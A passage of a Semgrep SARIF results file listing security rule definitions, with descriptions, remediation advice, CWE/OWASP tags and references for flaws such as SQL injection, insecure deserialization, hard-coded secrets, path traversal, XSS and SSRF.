Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected","id":"javascript.browser.security.eval-detected.eval-detected","name":"javascript.browser.security.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json","id":"python.lang.deserialization.tainted-json.tainted-json","name":"python.lang.deserialization.tainted-json.tainted-json","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-json.tainted-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"help":{"markdown":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","id":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","name":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"help":{"markdown":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution)\n - [http://bluebirdjs.com/docs/getting-started.html](http://bluebirdjs.com/docs/getting-started.html)\n","text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"helpUri":"https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","id":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","name":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body","id":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","name":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-html-email-body.xss-html-email-body"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"help":{"markdown":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","id":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","name":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html](https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string","id":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","name":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled)\n - [https://symfony.com/doc/current/security/csrf.html](https://symfony.com/doc/current/security/csrf.html)\n","text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","id":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","name":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","id":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","name":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls","id":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","name":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-sls.file-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request)\n - [https://www.npmjs.com/package/telnet](https://www.npmjs.com/package/telnet)\n - [https://www.npmjs.com/package/telnet-client](https://www.npmjs.com/package/telnet-client)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","id":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","name":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-express.fs-express)\n - [https://nodejs.org/api/fs.html#promises-api](https://nodejs.org/api/fs.html#promises-api)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-express.fs-express","id":"javascript.express.file.fs-express.fs-express","name":"javascript.express.file.fs-express.fs-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-express.fs-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"help":{"markdown":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","id":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","name":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 